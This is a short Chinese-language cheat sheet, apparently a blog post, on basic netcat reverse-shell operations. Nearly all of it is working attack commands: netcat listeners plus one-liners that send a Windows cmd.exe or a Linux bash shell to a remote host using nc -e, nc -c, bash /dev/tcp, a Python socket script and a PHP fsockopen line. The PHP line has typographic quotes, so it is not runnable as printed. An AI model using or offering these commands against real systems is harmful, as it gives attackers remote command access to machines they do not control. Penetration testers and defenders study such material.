NC基本的反弹shell操作

努力改变，不为别人，只为脱胎换骨

---

windows反弹shell到linux

linux监听

nc -lvvp 33891

windows连接

nc.exe -e C:\Windows\System32\cmd.exe 192.168.1.1 33891

linux反弹shell到windows

windows监听

nc -lvvp 33891

linux连接(NC)

nc -c bash 192.168.10.224 33891

linux连接(bash)

bash -i>& /dev/tcp/192.168.10.224/33891 0>&1

linux连接(python)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.224",33891));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

linux连接(php)

php -r ‘$sock=fsockopen(“192.168.10.224”,33891);exec(“/bin/sh -i <&3 >&3 2>&3”);’